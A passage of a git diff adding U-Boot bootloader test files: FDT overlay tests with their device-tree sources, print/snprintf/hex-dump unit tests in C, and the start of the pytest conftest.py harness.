+ &val));
+ ut_asserteq(local_phandle, val);
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_local_phandles, 0);
+
+static int fdt_overlay_stacked(struct unit_test_state *uts)
+{
+ u32 val = 0;
+
+ ut_assertok(ut_fdt_getprop_u32(fdt, "/new-local-node",
+ "stacked-test-int-property", &val));
+ ut_asserteq(43, val);
+
+ return CMD_RET_SUCCESS;
+}
+OVERLAY_TEST(fdt_overlay_stacked, 0);
+
+int do_ut_overlay(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(overlay_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(overlay_test);
+ struct unit_test_state *uts;
+ void *fdt_base = &__dtb_test_fdt_base_begin;
+ void *fdt_overlay = &__dtb_test_fdt_overlay_begin;
+ void *fdt_overlay_stacked = &__dtb_test_fdt_overlay_stacked_begin;
+ void *fdt_overlay_copy, *fdt_overlay_stacked_copy;
+ int ret = -ENOMEM;
+
+ uts = calloc(1, sizeof(*uts));
+ if (!uts)
+ return -ENOMEM;
+
+ ut_assertok(fdt_check_header(fdt_base));
+ ut_assertok(fdt_check_header(fdt_overlay));
+
+ fdt = malloc(FDT_COPY_SIZE);
+ if (!fdt)
+ goto err1;
+
+ fdt_overlay_copy = malloc(FDT_COPY_SIZE);
+ if (!fdt_overlay_copy)
+ goto err2;
+
+ fdt_overlay_stacked_copy = malloc(FDT_COPY_SIZE);
+ if (!fdt_overlay_stacked_copy)
+ goto err3;
+
+ /*
+ * Resize the FDT to 4k so that we have room to operate on
+ *
+ * (and relocate it since the memory might be mapped
+ * read-only)
+ */
+ ut_assertok(fdt_open_into(fdt_base, fdt, FDT_COPY_SIZE));
+
+ /*
+ * Resize the overlay to 4k so that we have room to operate on
+ *
+ * (and relocate it since the memory might be mapped
+ * read-only)
+ */
+ ut_assertok(fdt_open_into(fdt_overlay, fdt_overlay_copy,
+ FDT_COPY_SIZE));
+
+ /*
+ * Resize the stacked overlay to 4k so that we have room to operate on
+ *
+ * (and relocate it since the memory might be mapped
+ * read-only)
+ */
+ ut_assertok(fdt_open_into(fdt_overlay_stacked, fdt_overlay_stacked_copy,
+ FDT_COPY_SIZE));
+
+ /* Apply the overlay */
+ ut_assertok(fdt_overlay_apply(fdt, fdt_overlay_copy));
+
+ /* Apply the stacked overlay */
+ ut_assertok(fdt_overlay_apply(fdt, fdt_overlay_stacked_copy));
+
+ ret = cmd_ut_category("overlay", "", tests, n_ents, argc, argv);
+
+ free(fdt_overlay_stacked_copy);
+err3:
+ free(fdt_overlay_copy);
+err2:
+ free(fdt);
+err1:
+ return ret;
+}
diff --git a/test/overlay/test-fdt-base.dts b/test/overlay/test-fdt-base.dts
new file mode 100644
index 00000000000..38278334e4d
--- /dev/null
+++ b/test/overlay/test-fdt-base.dts
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2016 NextThing Co
+ * Copyright (c) 2016 Free Electrons
+ */
+
+/dts-v1/;
+
+/ {
+ test: test-node {
+ test-int-property = <42>;
+ test-str-property = "foo";
+
+ subtest: sub-test-node {
+ sub-test-property;
+ };
+ };
+};
+
+
diff --git a/test/overlay/test-fdt-overlay-stacked.dts b/test/overlay/test-fdt-overlay-stacked.dts
new file mode 100644
index 00000000000..6411adec539
--- /dev/null
+++ b/test/overlay/test-fdt-overlay-stacked.dts
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2016 NextThing Co
+ * Copyright (c) 2016 Free Electrons
+ * Copyright (c) 2018 Konsulko Group
+ */
+
+/dts-v1/;
+/plugin/;
+
+/ {
+ /* Test that we can reference an overlay symbol */
+ fragment@0 {
+ target = <&local>;
+
+ __overlay__ {
+ stacked-test-int-property = <43>;
+ };
+ };
+};
diff --git a/test/overlay/test-fdt-overlay.dts b/test/overlay/test-fdt-overlay.dts
new file mode 100644
index 00000000000..5a21b346d07
--- /dev/null
+++ b/test/overlay/test-fdt-overlay.dts
@@ -0,0 +1,95 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2016 NextThing Co
+ * Copyright (c) 2016 Free Electrons
+ */
+
+/dts-v1/;
+/plugin/;
+
+/ {
+ /* Test that we can change an int by another */
+ fragment@0 {
+ target = <&test>;
+
+ __overlay__ {
+ test-int-property = <43>;
+ };
+ };
+
+ /* Test that we can replace a string by a longer one */
+ fragment@1 {
+ target = <&test>;
+
+ __overlay__ {
+ test-str-property = "foobar";
+ };
+ };
+
+ /* Test that we add a new property */
+ fragment@2 {
+ target = <&test>;
+
+ __overlay__ {
+ test-str-property-2 = "foobar2";
+ };
+ };
+
+ /* Test that we add a new node (by phandle) */
+ fragment@3 {
+ target = <&test>;
+
+ __overlay__ {
+ new-node {
+ new-property;
+ };
+ };
+ };
+
+ /* Test that we add a new node (by path) */
+ fragment@4 {
+ target-path = "/";
+
+ __overlay__ {
+ new-node {
+ new-property;
+ };
+ };
+ };
+
+ fragment@5 {
+ target-path = "/";
+
+ __overlay__ {
+ local: new-local-node {
+ new-property;
+ };
+ };
+ };
+
+ fragment@6 {
+ target-path = "/";
+
+ __overlay__ {
+ test-phandle = <&test>, <&local>;
+ };
+ };
+
+ fragment@7 {
+ target-path = "/";
+
+ __overlay__ {
+ test-several-phandle = <&local>, <&local>;
+ };
+ };
+
+ fragment@8 {
+ target = <&test>;
+
+ __overlay__ {
+ sub-test-node {
+ new-sub-test-property;
+ };
+ };
+ };
+};
diff --git a/test/print_ut.c b/test/print_ut.c
new file mode 100644
index 00000000000..bded2b6ebe5
--- /dev/null
+++ b/test/print_ut.c
@@ -0,0 +1,401 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2012, The Chromium Authors
+ */
+
+#include <command.h>
+#include <efi_api.h>
+#include <display_options.h>
+#include <log.h>
+#include <mapmem.h>
+#include <version_string.h>
+#include <vsprintf.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define BUF_SIZE 0x100
+
+#define FAKE_BUILD_TAG "jenkins-u-boot-denx_uboot_dm-master-build-aarch64" \
+ "and a lot more text to come"
+
+/* Declare a new print test */
+#define PRINT_TEST(_name, _flags) UNIT_TEST(_name, _flags, print_test)
+
+#if CONFIG_IS_ENABLED(LIB_UUID)
+/* Test printing GUIDs */
+static int print_guid(struct unit_test_state *uts)
+{
+ unsigned char guid[16] = {
+ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16
+ };
+ unsigned char guid_esp[16] = {
+ 0x28, 0x73, 0x2a, 0xc1, 0x1f, 0xf8, 0xd2, 0x11,
+ 0xBA, 0x4B, 0x00, 0xA0, 0xC9, 0x3E, 0xC9, 0x3B
+ };
+ char str[40];
+ int ret;
+
+ sprintf(str, "%pUb", guid);
+ ut_asserteq_str("01020304-0506-0708-090a-0b0c0d0e0f10", str);
+ sprintf(str, "%pUB", guid);
+ ut_asserteq_str("01020304-0506-0708-090A-0B0C0D0E0F10", str);
+ sprintf(str, "%pUl", guid);
+ ut_asserteq_str("04030201-0605-0807-090a-0b0c0d0e0f10", str);
+ sprintf(str, "%pUs", guid);
+ ut_asserteq_str("04030201-0605-0807-090a-0b0c0d0e0f10", str);
+ sprintf(str, "%pUL", guid);
+ ut_asserteq_str("04030201-0605-0807-090A-0B0C0D0E0F10", str);
+ sprintf(str, "%pUs", guid_esp);
+ if (IS_ENABLED(CONFIG_PARTITION_TYPE_GUID)) { /* brace needed */
+ ut_asserteq_str("system", str);
+ } else {
+ ut_asserteq_str("c12a7328-f81f-11d2-ba4b-00a0c93ec93b", str);
+ }
+ ret = snprintf(str, 4, "%pUL", guid);
+ ut_asserteq(0, str[3]);
+ ut_asserteq(36, ret);
+
+ return 0;
+}
+PRINT_TEST(print_guid, 0);
+#endif
+
+#if CONFIG_IS_ENABLED(EFI_LOADER) && !defined(API_BUILD)
+/* Test efi_loader specific printing */
+static int print_efi_ut(struct unit_test_state *uts)
+{
+ char str[10];
+ u8 buf[sizeof(struct efi_device_path_sd_mmc_path) +
+ sizeof(struct efi_device_path)];
+ u8 *pos = buf;
+ struct efi_device_path *dp_end;
+ struct efi_device_path_sd_mmc_path *dp_sd =
+ (struct efi_device_path_sd_mmc_path *)pos;
+
+ /* Create a device path for an SD card */
+ dp_sd->dp.type = DEVICE_PATH_TYPE_MESSAGING_DEVICE;
+ dp_sd->dp.sub_type = DEVICE_PATH_SUB_TYPE_MSG_SD;
+ dp_sd->dp.length = sizeof(struct efi_device_path_sd_mmc_path);
+ dp_sd->slot_number = 3;
+ pos += sizeof(struct efi_device_path_sd_mmc_path);
+ /* Append end node */
+ dp_end = (struct efi_device_path *)pos;
+ dp_end->type = DEVICE_PATH_TYPE_END;
+ dp_end->sub_type = DEVICE_PATH_SUB_TYPE_END;
+ dp_end->length = sizeof(struct efi_device_path);
+
+ snprintf(str, sizeof(str), "_%pD_", buf);
+ ut_assertok(strcmp("_/SD(3)_", str));
+
+ /* NULL device path */
+ snprintf(str, sizeof(str), "_%pD_", NULL);
+ ut_assertok(strcmp("_<NULL>_", str));
+
+ return 0;
+}
+PRINT_TEST(print_efi_ut, 0);
+#endif
+
+static int print_printf(struct unit_test_state *uts)
+{
+ char big_str[400];
+ int big_str_len;
+ char str[10], *s;
+ int len;
+
+ snprintf(str, sizeof(str), "testing");
+ ut_assertok(strcmp("testing", str));
+
+ snprintf(str, sizeof(str), "testing but too long");
+ ut_assertok(strcmp("testing b", str));
+
+ snprintf(str, 1, "testing none");
+ ut_assertok(strcmp("", str));
+
+ *str = 'x';
+ snprintf(str, 0, "testing none");
+ ut_asserteq('x', *str);
+
+ sprintf(big_str, "_%ls_", u"foo");
+ ut_assertok(strcmp("_foo_", big_str));
+
+ /* Test the banner function */
+ s = display_options_get_banner(true, str, sizeof(str));
+ ut_asserteq_ptr(str, s);
+ ut_assertok(strcmp("\n\nU-Boo\n\n", s));
+
+ /* Assert that we do not overwrite memory before the buffer */
+ str[0] = '`';
+ s = display_options_get_banner(true, str + 1, 1);
+ ut_asserteq_ptr(str + 1, s);
+ ut_assertok(strcmp("`", str));
+
+ str[0] = '~';
+ s = display_options_get_banner(true, str + 1, 2);
+ ut_asserteq_ptr(str + 1, s);
+ ut_assertok(strcmp("~\n", str));
+
+ /* The last two characters are set to \n\n for all buffer sizes > 2 */
+ s = display_options_get_banner(false, str, sizeof(str));
+ ut_asserteq_ptr(str, s);
+ ut_assertok(strcmp("U-Boot \n\n", s));
+
+ /* Give it enough space for some of the version */
+ big_str_len = strlen(version_string) - 5;
+ s = display_options_get_banner_priv(false, FAKE_BUILD_TAG, big_str,
+ big_str_len);
+ ut_asserteq_ptr(big_str, s);
+ ut_assertok(strncmp(version_string, s, big_str_len - 3));
+ ut_assertok(strcmp("\n\n", s + big_str_len - 3));
+
+ /* Give it enough space for the version and some of the build tag */
+ big_str_len = strlen(version_string) + 9 + 20;
+ s = display_options_get_banner_priv(false, FAKE_BUILD_TAG, big_str,
+ big_str_len);
+ ut_asserteq_ptr(big_str, s);
+ len = strlen(version_string);
+ ut_assertok(strncmp(version_string, s, len));
+ ut_assertok(strncmp(", Build: ", s + len, 9));
+ ut_assertok(strncmp(FAKE_BUILD_TAG, s + 9 + len, 12));
+ ut_assertok(strcmp("\n\n", s + big_str_len - 3));
+
+ return 0;
+}
+PRINT_TEST(print_printf, 0);
+
+static int print_display_buffer(struct unit_test_state *uts)
+{
+ u8 *buf;
+ int i;
+
+ /* This test requires writable memory at zero */
+ if (IS_ENABLED(CONFIG_X86))
+ return -EAGAIN;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ for (i = 0; i < 0x11; i++)
+ buf[i] = i * 0x11;
+
+ /* bytes */
+ console_record_reset();
+ print_buffer(0, buf, 1, 0x12, 0);
+ ut_assert_nextline("00000000: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff ..\"3DUfw........");
+ ut_assert_nextline("00000010: 10 00 ..");
+ ut_assert_console_end();
+
+ /* line length */
+ console_record_reset();
+ print_buffer(0, buf, 1, 0x12, 8);
+ ut_assert_nextline("00000000: 00 11 22 33 44 55 66 77 ..\"3DUfw");
+ ut_assert_nextline("00000008: 88 99 aa bb cc dd ee ff ........");
+ ut_assert_nextline("00000010: 10 00 ..");
+ ut_assert_console_end();
+
+ /* long line */
+ console_record_reset();
+ buf[0x41] = 0x41;
+ print_buffer(0, buf, 1, 0x42, 0x40);
+ ut_assert_nextline("00000000: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..\"3DUfw........................................................");
+ ut_assert_nextline("00000040: 00 41 .A");
+ ut_assert_console_end();
+
+ /* address */
+ console_record_reset();
+ print_buffer(0x12345678, buf, 1, 0x12, 0);
+ ut_assert_nextline("12345678: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff ..\"3DUfw........");
+ ut_assert_nextline("12345688: 10 00 ..");
+ ut_assert_console_end();
+
+ /* 16-bit */
+ console_record_reset();
+ print_buffer(0, buf, 2, 9, 0);
+ ut_assert_nextline("00000000: 1100 3322 5544 7766 9988 bbaa ddcc ffee ..\"3DUfw........");
+ ut_assert_nextline("00000010: 0010 ..");
+ ut_assert_console_end();
+
+ /* 32-bit */
+ console_record_reset();
+ print_buffer(0, buf, 4, 5, 0);
+ ut_assert_nextline("00000000: 33221100 77665544 bbaa9988 ffeeddcc ..\"3DUfw........");
+ ut_assert_nextline("00000010: 00000010 ....");
+ ut_assert_console_end();
+
+ /* 64-bit */
+ console_record_reset();
+ print_buffer(0, buf, 8, 3, 0);
+ ut_assert_nextline("00000000: 7766554433221100 ffeeddccbbaa9988 ..\"3DUfw........");
+ ut_assert_nextline("00000010: 0000000000000010 ........");
+ ut_assert_console_end();
+
+ /* ASCII */
+ console_record_reset();
+ buf[1] = 31;
+ buf[2] = 32;
+ buf[3] = 33;
+ for (i = 0; i < 4; i++)
+ buf[4 + i] = 126 + i;
+ buf[8] = 255;
+ print_buffer(0, buf, 1, 10, 0);
+ ut_assert_nextline("00000000: 00 1f 20 21 7e 7f 80 81 ff 99 .. !~.....");
+ ut_assert_console_end();
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+PRINT_TEST(print_display_buffer, UT_TESTF_CONSOLE_REC);
+
+static int print_hexdump_line(struct unit_test_state *uts)
+{
+ char *linebuf;
+ u8 *buf;
+ int i;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ for (i = 0; i < 0x11; i++)
+ buf[i] = i * 0x11;
+
+ /* Check buffer size calculations */
+ linebuf = map_sysmem(0x400, BUF_SIZE);
+ memset(linebuf, '\xff', BUF_SIZE);
+ ut_asserteq(-ENOSPC, hexdump_line(0, buf, 1, 0x10, 0, linebuf, 75));
+ ut_asserteq(-1, linebuf[0]);
+ ut_asserteq(0x10, hexdump_line(0, buf, 1, 0x10, 0, linebuf, 76));
+ ut_asserteq(0, linebuf[75]);
+ ut_asserteq(-1, linebuf[76]);
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+PRINT_TEST(print_hexdump_line, UT_TESTF_CONSOLE_REC);
+
+static int print_do_hex_dump(struct unit_test_state *uts)
+{
+ u8 *buf;
+ int i;
+
+ /* This test requires writable memory at zero */
+ if (IS_ENABLED(CONFIG_X86))
+ return -EAGAIN;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ for (i = 0; i < 0x11; i++)
+ buf[i] = i * 0x11;
+
+ /* bytes */
+ console_record_reset();
+ print_hex_dump_bytes("", DUMP_PREFIX_ADDRESS, buf, 0x12);
+ ut_assert_nextline("%0*lx: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff ..\"3DUfw........",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_nextline("%0*lx: 10 00 ..",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x10UL);
+ ut_assert_console_end();
+
+ /* line length */
+ console_record_reset();
+ print_hex_dump("", DUMP_PREFIX_ADDRESS, 8, 1, buf, 0x12, true);
+ ut_assert_nextline("%0*lx: 00 11 22 33 44 55 66 77 ..\"3DUfw",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_nextline("%0*lx: 88 99 aa bb cc dd ee ff ........",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x8UL);
+ ut_assert_nextline("%0*lx: 10 00 ..",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x10UL);
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ /* long line */
+ console_record_reset();
+ buf[0x41] = 0x41;
+ print_hex_dump("", DUMP_PREFIX_ADDRESS, 0x40, 1, buf, 0x42, true);
+ ut_assert_nextline("%0*lx: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..\"3DUfw........................................................",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_nextline("%0*lx: 00 41 .A",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x40UL);
+ ut_assert_console_end();
+
+ /* 16-bit */
+ console_record_reset();
+ print_hex_dump("", DUMP_PREFIX_ADDRESS, 0, 2, buf, 0x12, true);
+ ut_assert_nextline("%0*lx: 1100 3322 5544 7766 9988 bbaa ddcc ffee ..\"3DUfw........",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_nextline("%0*lx: 0010 ..",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x10UL);
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ /* 32-bit */
+ console_record_reset();
+ print_hex_dump("", DUMP_PREFIX_ADDRESS, 0, 4, buf, 0x14, true);
+ ut_assert_nextline("%0*lx: 33221100 77665544 bbaa9988 ffeeddcc ..\"3DUfw........",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_nextline("%0*lx: 00000010 ....",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x10UL);
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ /* 64-bit */
+ console_record_reset();
+ print_hex_dump("", DUMP_PREFIX_ADDRESS, 16, 8, buf, 0x18, true);
+ ut_assert_nextline("%0*lx: 7766554433221100 ffeeddccbbaa9988 ..\"3DUfw........",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_nextline("%0*lx: 0000000000000010 ........",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x10UL);
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ /* ASCII */
+ console_record_reset();
+ buf[1] = 31;
+ buf[2] = 32;
+ buf[3] = 33;
+ for (i = 0; i < 4; i++)
+ buf[4 + i] = 126 + i;
+ buf[8] = 255;
+ print_hex_dump("", DUMP_PREFIX_ADDRESS, 0, 1, buf, 10, true);
+ ut_assert_nextline("%0*lx: 00 1f 20 21 7e 7f 80 81 ff 99 .. !~.....",
+ IS_ENABLED(CONFIG_PHYS_64BIT) ? 16 : 8, 0x0UL);
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ return 0;
+}
+PRINT_TEST(print_do_hex_dump, UT_TESTF_CONSOLE_REC);
+
+static int snprint(struct unit_test_state *uts)
+{
+ char buf[10] = "xxxxxxxxx";
+ int ret;
+
+ ret = snprintf(buf, 5, "%d", 12345678);
+ ut_asserteq_str("1234", buf);
+ ut_asserteq(8, ret);
+ ret = snprintf(buf, 5, "0x%x", 0x1234);
+ ut_asserteq_str("0x12", buf);
+ ut_asserteq(6, ret);
+ ret = snprintf(buf, 5, "0x%08x", 0x1234);
+ ut_asserteq_str("0x00", buf);
+ ut_asserteq(10, ret);
+ ret = snprintf(buf, 3, "%s", "abc");
+ ut_asserteq_str("ab", buf);
+ ut_asserteq(3, ret);
+ ret = snprintf(buf, 4, "%s:%s", "abc", "def");
+ ut_asserteq(0, buf[3]);
+ ut_asserteq(7, ret);
+ ret = snprintf(buf, 4, "%s:%d", "abc", 9999);
+ ut_asserteq(8, ret);
+ return 0;
+}
+PRINT_TEST(snprint, 0);
+
+int do_ut_print(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(print_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(print_test);
+
+ return cmd_ut_category("print", "print_", tests, n_ents, argc, argv);
+}
diff --git a/test/py/.gitignore b/test/py/.gitignore
new file mode 100644
index 00000000000..0d20b6487c6
--- /dev/null
+++ b/test/py/.gitignore
@@ -0,0 +1 @@
+*.pyc
diff --git a/test/py/conftest.py b/test/py/conftest.py
new file mode 100644
index 00000000000..fc9dd3a83f8
--- /dev/null
+++ b/test/py/conftest.py
@@ -0,0 +1,688 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Implementation of pytest run-time hook functions. These are invoked by
+# pytest at certain points during operation, e.g. startup, for each executed
+# test, at shutdown etc. These hooks perform functions such as:
+# - Parsing custom command-line options.
+# - Pullilng in user-specified board configuration.
+# - Creating the U-Boot console test fixture.
+# - Creating the HTML log file.
+# - Monitoring each test's results.
+# - Implementing custom pytest markers.
+
+import atexit
+import configparser
+import errno
+import filelock
+import io
+import os
+import os.path
+from pathlib import Path
+import pytest
+import re
+from _pytest.runner import runtestprotocol
+import sys
+
+# Globals: The HTML log file, and the connection to the U-Boot console.
+log = None
+console = None
+
+TEST_PY_DIR = os.path.dirname(os.path.abspath(__file__))
+
+def mkdir_p(path):
+ """Create a directory path.
+
+ This includes creating any intermediate/parent directories. Any errors
+ caused due to already extant directories are ignored.
+
+ Args:
+ path: The directory path to create.
+
+ Returns:
+ Nothing.
+ """
+
+ try:
+ os.makedirs(path)
+ except OSError as exc:
+ if exc.errno == errno.EEXIST and os.path.isdir(path):
+ pass
+ else:
+ raise
+
+def pytest_addoption(parser):
+ """pytest hook: Add custom command-line options to the cmdline parser.
+
+ Args:
+ parser: The pytest command-line parser.
+
+ Returns:
+ Nothing.
+ """
+
+ parser.addoption('--build-dir', default=None,
+ help='U-Boot build directory (O=)')
+ parser.addoption('--result-dir', default=None,
+ help='U-Boot test result/tmp directory')
+ parser.addoption('--persistent-data-dir', default=None,
+ help='U-Boot test persistent generated data directory')
+ parser.addoption('--board-type', '--bd', '-B', default='sandbox',
+ help='U-Boot board type')
+ parser.addoption('--board-identity', '--id', default='na',
+ help='U-Boot board identity/instance')
+ parser.addoption('--build', default=False, action='store_true',
+ help='Compile U-Boot before running tests')
+ parser.addoption('--buildman', default=False, action='store_true',
+ help='Use buildman to build U-Boot (assuming --build is given)')
+ parser.addoption('--gdbserver', default=None,
+ help='Run sandbox under gdbserver. The argument is the channel '+
+ 'over which gdbserver should communicate, e.g. localhost:1234')
+
+def run_build(config, source_dir, build_dir, board_type, log):
+ """run_build: Build U-Boot
+
+ Args:
+ config: The pytest configuration.
+ soruce_dir (str): Directory containing source code
+ build_dir (str): Directory to build in
+ board_type (str): board_type parameter (e.g. 'sandbox')
+ log (Logfile): Log file to use
+ """
+ if config.getoption('buildman'):
+ if build_dir != source_dir:
+ dest_args = ['-o', build_dir, '-w']
+ else:
+ dest_args = ['-i']
+ cmds = (['buildman', '--board', board_type] + dest_args,)
+ name = 'buildman'
+ else:
+ if build_dir != source_dir:
+ o_opt = 'O=%s' % build_dir
+ else:
+ o_opt = ''
+ cmds = (
+ ['make', o_opt, '-s', board_type + '_defconfig'],
+ ['make', o_opt, '-s', '-j{}'.format(os.cpu_count())],
+ )
+ name = 'make'
+
+ with log.section(name):
+ runner = log.get_runner(name, sys.stdout)
+ for cmd in cmds:
+ runner.run(cmd, cwd=source_dir)
+ runner.close()
+ log.status_pass('OK')
+
+def pytest_xdist_setupnodes(config, specs):
+ """Clear out any 'done' file from a previous build"""
+ global build_done_file
+ build_dir = config.getoption('build_dir')
+ board_type = config.getoption('board_type')
+ source_dir = os.path.dirname(os.path.dirname(TEST_PY_DIR))
+ if not build_dir:
+ build_dir = source_dir + '/build-' + board_type
+ build_done_file = Path(build_dir) / 'build.done'
+ if build_done_file.exists():
+ os.remove(build_done_file)
+
+def pytest_configure(config):
+ """pytest hook: Perform custom initialization at startup time.
+
+ Args:
+ config: The pytest configuration.
+
+ Returns:
+ Nothing.
+ """
+ def parse_config(conf_file):
+ """Parse a config file, loading it into the ubconfig container
+
+ Args:
+ conf_file: Filename to load (within build_dir)
+
+ Raises
+ Exception if the file does not exist
+ """
+ dot_config = build_dir + '/' + conf_file
+ if not os.path.exists(dot_config):
+ raise Exception(conf_file + ' does not exist; ' +
+ 'try passing --build option?')
+
+ with open(dot_config, 'rt') as f:
+ ini_str = '[root]\n' + f.read()
+ ini_sio = io.StringIO(ini_str)
+ parser = configparser.RawConfigParser()
+ parser.read_file(ini_sio)
+ ubconfig.buildconfig.update(parser.items('root'))
+
+ global log
+ global console
+ global ubconfig
+
+ source_dir = os.path.dirname(os.path.dirname(TEST_PY_DIR))
+
+ board_type = config.getoption('board_type')
+ board_type_filename = board_type.replace('-', '_')
+
+ board_identity = config.getoption('board_identity')
+ board_identity_filename = board_identity.replace('-', '_')
+
+ build_dir = config.getoption('build_dir')
+ if not build_dir:
+ build_dir = source_dir + '/build-' + board_type
+ mkdir_p(build_dir)
+
+ result_dir = config.getoption('result_dir')
+ if not result_dir:
+ result_dir = build_dir
+ mkdir_p(result_dir)
+
+ persistent_data_dir = config.getoption('persistent_data_dir')
+ if not persistent_data_dir:
+ persistent_data_dir = build_dir + '/persistent-data'
+ mkdir_p(persistent_data_dir)
+
+ gdbserver = config.getoption('gdbserver')
+ if gdbserver and not board_type.startswith('sandbox'):
+ raise Exception('--gdbserver only supported with sandbox targets')
+
+ import multiplexed_log
+ log = multiplexed_log.Logfile(result_dir + '/test-log.html')
+
+ if config.getoption('build'):
+ worker_id = os.environ.get("PYTEST_XDIST_WORKER")
+ with filelock.FileLock(os.path.join(build_dir, 'build.lock')):
+ build_done_file = Path(build_dir) / 'build.done'
+ if (not worker_id or worker_id == 'master' or
+ not build_done_file.exists()):
+ run_build(config, source_dir, build_dir, board_type, log)
+ build_done_file.touch()
+
+ class ArbitraryAttributeContainer(object):
+ pass
+
+ ubconfig = ArbitraryAttributeContainer()
+ ubconfig.brd = dict()
+ ubconfig.env = dict()
+
+ modules = [
+ (ubconfig.brd, 'u_boot_board_' + board_type_filename),
+ (ubconfig.env, 'u_boot_boardenv_' + board_type_filename),
+ (ubconfig.env, 'u_boot_boardenv_' + board_type_filename + '_' +
+ board_identity_filename),
+ ]
+ for (dict_to_fill, module_name) in modules:
+ try:
+ module = __import__(module_name)
+ except ImportError:
+ continue
+ dict_to_fill.update(module.__dict__)
+
+ ubconfig.buildconfig = dict()
+
+ # buildman -k puts autoconf.mk in the rootdir, so handle this as well
+ # as the standard U-Boot build which leaves it in include/autoconf.mk
+ parse_config('.config')
+ if os.path.exists(build_dir + '/' + 'autoconf.mk'):
+ parse_config('autoconf.mk')
+ else:
+ parse_config('include/autoconf.mk')
+
+ ubconfig.test_py_dir = TEST_PY_DIR
+ ubconfig.source_dir = source_dir
+ ubconfig.build_dir = build_dir
+ ubconfig.result_dir = result_dir
+ ubconfig.persistent_data_dir = persistent_data_dir
+ ubconfig.board_type = board_type
+ ubconfig.board_identity = board_identity
+ ubconfig.gdbserver = gdbserver
+ ubconfig.dtb = build_dir + '/arch/sandbox/dts/test.dtb'
+
+ env_vars = (
+ 'board_type',
+ 'board_identity',
+ 'source_dir',
+ 'test_py_dir',
+ 'build_dir',
+ 'result_dir',
+ 'persistent_data_dir',
+ )
+ for v in env_vars:
+ os.environ['U_BOOT_' + v.upper()] = getattr(ubconfig, v)
+
+ if board_type.startswith('sandbox'):
+ import u_boot_console_sandbox
+ console = u_boot_console_sandbox.ConsoleSandbox(log, ubconfig)
+ else:
+ import u_boot_console_exec_attach
+ console = u_boot_console_exec_attach.ConsoleExecAttach(log, ubconfig)
+
+re_ut_test_list = re.compile(r'[^a-zA-Z0-9_]_u_boot_list_2_ut_(.*)_test_2_(.*)\s*$')
+def generate_ut_subtest(metafunc, fixture_name, sym_path):
+ """Provide parametrization for a ut_subtest fixture.
+
+ Determines the set of unit tests built into a U-Boot binary by parsing the
+ list of symbols generated by the build process. Provides this information
+ to test functions by parameterizing their ut_subtest fixture parameter.
+
+ Args:
+ metafunc: The pytest test function.
+ fixture_name: The fixture name to test.
+ sym_path: Relative path to the symbol file with preceding '/'
+ (e.g. '/u-boot.sym')
+
+ Returns:
+ Nothing.
+ """
+ fn = console.config.build_dir + sym_path
+ try:
+ with open(fn, 'rt') as f:
+ lines = f.readlines()
+ except:
+ lines = []
+ lines.sort()
+
+ vals = []
+ for l in lines:
+ m = re_ut_test_list.search(l)
+ if not m:
+ continue
+ suite, name = m.groups()
+
+ # Tests marked with _norun should only be run manually using 'ut -f'
